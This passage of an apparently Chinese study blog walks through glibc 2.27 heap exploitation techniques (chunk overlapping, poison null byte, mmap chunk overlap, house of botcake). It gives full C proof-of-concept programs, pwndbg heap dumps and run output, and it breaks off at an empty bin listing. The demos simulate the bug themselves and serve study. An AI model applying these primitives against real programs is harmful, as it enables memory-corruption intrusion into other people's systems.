printf("This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

printf("Let's run through an example. Right now, we have:\n");
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

assert(strstr((char *)p4, (char *)p3));
}

堆块重叠的利用,首先创建了三个堆块(p1, p2, p3)。然后释放p2,因为p2是0x501,所以会进入unsortedbin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x501

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b750
Size: 0x501
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x55555555bc50
Size: 0x80

现在假设有一个漏洞可以改p2size为0x581,可以看到p3已经被包进来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x501

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b750
Size: 0x581
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

然后申请p4的大小为0x578这个时候p4包含了p2和p3。利用p4就可以对p2和p3进行修改。

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
This is a simple chunks overlapping problem

Let's start to allocate 3 chunks on the heap
The 3 chunks have been allocated here:
p1=0x55555555b260
p2=0x55555555b760
p3=0x55555555bc60

Now let's free the chunk p2
The chunk p2 is now in the unsorted bin ready to serve possible
new malloc() of its size
Now let's simulate an overflow that can overwrite the size of the
chunk freed p2.
For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap.
To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk.
We are going to set the size of chunk p2 to to 1409, which gives us
a region size of 1400

Now let's allocate another chunk with a size equal to the data
size of the chunk p2 injected size
This malloc will be served from the previously freed chunk that
is parked in the unsorted bin which size has been modified by us

p4 has been allocated at 0x55555555b760 and ends at 0x55555555bcd8
p3 starts at 0x55555555bc60 and ends at 0x55555555c1d8
p4 should overlap with p3, in this case p4 includes all p3.

Now everything copied inside chunk p4 can overwrites data on
chunk p3, and data written to chunk p3 can overwrite data
stored in the p4 chunk.

Let's run through an example. Right now, we have:
p4 = �����
p3 = 3333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333331

If we memset(p4, '4', 1400), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444441
p3 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444441

And if we then memset(p3, '3', 80), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444443333333333333333333333333333333333333333333333333333333333333333333333333333333344444444444444444444444444444444444444441
p3 = 3333333333333333333333333333333333333333333333333333333333333333333333333333333344444444444444444444444444444444444444441

poison_null_byte(off-by-null)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 18.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

printf("We allocate 0x500 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x500);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x500 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xa00);

printf("b: %p\n", b);

c = (uint8_t*) malloc(0x500);
printf("c: %p\n", c);

barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x9f0) = 0xa00;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0xa00 since 0xa00 == (0xa11 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x9f0) = 0xa00;

// this technique works by overwriting the size metadata of a free chunk
free(b);

printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0xa00 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0xa00 (was 0xa10 before the overflow)
// next_chunk(P) == b-0x10+0xa00 == b+0x9f0
// prev_size (next_chunk(P)) == *(b+0x9f0) == 0xa00
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x500);

printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x480);
printf("b2: %p\n",b2);

memset(b2,'B',0x480);
printf("Current b2 content:\n%s\n",b2);

printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0xc00);
printf("d: %p\n",d);

printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0xc00);

printf("New b2 content:\n%s\n",b2);

printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");

assert(strstr(b2, "DDDDDDDDDDDD"));
}

2.27下的攻击手法和2.23几乎一样的。首先malloc 0x500 0xa00 0x500 0x100这四个chunk(a, b, c, barrier),barrier是为了防止合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x55555555b760
Size: 0xa11

Allocated chunk | PREV_INUSE
Addr: 0x55555555c170
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x55555555c680
Size: 0x111

我们需要构造一下使得后续的off-by-null可以正确释放。构造完成之后释放它。为什么要构造,肯定是需要过检测,会检查 chunk size 与 next chunk 的 prev_size 是否相等。假设现在有一个off-by-null的漏洞可以改b的0xa11为0xa00。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x511

Free chunk (unsortedbin)
Addr: 0x55555555b760
Size: 0xa00
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x55555555c160
Size: 0x00

现在将b进行分割,首先malloc一个0x500的b1再malloc一个0x480的b2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x55555555b760
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x55555555bc70
Size: 0x491

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c100
Size: 0x61
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x55555555c160
Size: 0x00

接下来释放b1和c,因为unsortedbin的合并原理会将b1 b2和b剩余的再加上c一起合并。为什么?因为c的prev_size为0xa10。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x511

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b760
Size: 0xf21
fd: 0x55555555c100
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x55555555c680
Size: 0x110

Top chunk | PREV_INUSE
Addr: 0x55555555c790
Size: 0x1f871

这个时候b2还是正常的chunk,但是被放入了bin中。申请0xc00大小的chunk d,此时的d与b2形成了overlapping,我们可以通过d改b2。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Welcome to poison null byte 2.0!
Tested in Ubuntu 18.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x500 bytes for 'a'.
a: 0x55555555b260
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x500 because of rounding): 0x508
b: 0x55555555b770
c: 0x55555555c180
We allocate a barrier at 0x55555555c690, so that c is not consolidated with the top-chunk when freed.
The barrier is not strictly necessary, but makes things less confusing
In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))'
b.size: 0xa11
b.size is: (0xa00 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0xa00
c.prev_size is 0xa10
We will pass the check since chunksize(P) == 0xa00 == 0xa00 == prev_size (next_chunk(P))
b1: 0x55555555b770
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0xa10
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: 4f0
We malloc 'b2', our 'victim' chunk.
b2: 0x55555555bc80
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x55555555b770
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explanation of this technique.

mmap_overlapping_chunks(mmap)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main(){

int* ptr1 = malloc(0x10);

printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");

long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);

printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

free(mmap_chunk_3);


printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;

// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

此攻击手法和2.23下也是差不多的。分配三个大小0x100000的chunk。布局如下

1
2
3
The first mmap chunk goes directly above LibC: 0x7ffff7ef3010
The second mmap chunk goes below LibC: 0x7ffff78e3010
The third mmap chunk goes below the second mmap chunk: 0x7ffff77e2010

现在假设有一个漏洞可以改mmap3的size为mmap3 + mmap2,mmap3和mmap2形成了一个overlapping。这个时候释放mmap3,mmap3和mmap2会munmap

但是mmap2还是一个正常的块,申请0x300000大小并写入值就可以看到mmap2那里被覆盖了。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).
Extremely large chunks are special because they are allocated in their own mmaped section
of memory, instead of being put onto the normal heap.
=======================================================

Allocating three extremely large heap chunks of size 0x100000

The first mmap chunk goes directly above LibC: 0x7ffff7ef3010
The second mmap chunk goes below LibC: 0x7ffff78e3010
The third mmap chunk goes below the second mmap chunk: 0x7ffff77e2010

Current System Memory Layout
================================================
running program
heap
....
third mmap chunk
second mmap chunk
LibC
....
ld
first mmap chunk
===============================================

Prev Size of third mmap chunk: 0x0
Size of third mmap chunk: 0x101002

Change the size of the third mmap chunk to overlap with the second mmap chunk
This will cause both chunks to be Munmapped and given back to the system
This is where the vulnerability occurs; corrupting the size or prev_size of a chunk
New size of third mmap chunk: 0x202002
Free the third mmap chunk, which munmaps the second and third chunks

Get a very large chunk from malloc to get mmapped chunk
This should overlap over the previously munmapped/freed chunks
Overlapped chunk Ptr: 0x7ffff76e3010
Overlapped chunk Ptr Size: 0x301002
Distance between new chunk and the second mmap chunk (which was munmapped): 0x40000
Value of index 0 of mmap chunk 2 prior to write: 0
Setting the value of the overlapped chunk
Second chunk value (after write): 0x1122334455667788
Overlapped chunk value: 0x1122334455667788

Boom! The new chunk has been overlapped with a previous mmaped chunk

house_of_botcake(double free)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */

// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");

// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);

// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);

// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);

puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);

puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/

// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;

// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);

// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");

// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

return 0;
}

此攻击方法适用于程序只存在double free。先申请七个chunk,以便后续填满tcache,为之后的合并申请一个prev chunk。申请用于double free的victim chunk(a)。最后再来一个0x10为了防止与top chunk合并。

现在填满tcache。并将a送入unsortedbin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> bin
tcachebins
0x110 [ 7]: 0x55555555b8c0 —▸ 0x55555555b7b0 —▸ 0x55555555b6a0 —▸ 0x55555555b590 —▸ 0x55555555b480 —▸ 0x55555555b370 —▸ 0x55555555b260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555555bad0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555555bad0

再将prev给释放,这个时候a和prev合并。我们为了将a送入tcache中,malloc(0x100)再free(a),也就是从tcache中取走一个,再将a送入tcache中。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> bin
tcachebins
0x110 [ 7]: 0x55555555bae0 —▸ 0x55555555b7b0 —▸ 0x55555555b6a0 —▸ 0x55555555b590 —▸ 0x55555555b480 —▸ 0x55555555b370 —▸ 0x55555555b260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555555b9c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555555b9c0

因为a在unsortedbin中,也在tcache中,所以我们可以malloc一个比0x100大的chunk(会从unsortedbin中取),这个时候可以控制a的fd了就可以实现任意地址申请。

1
2
3
pwndbg> bin
tcachebins
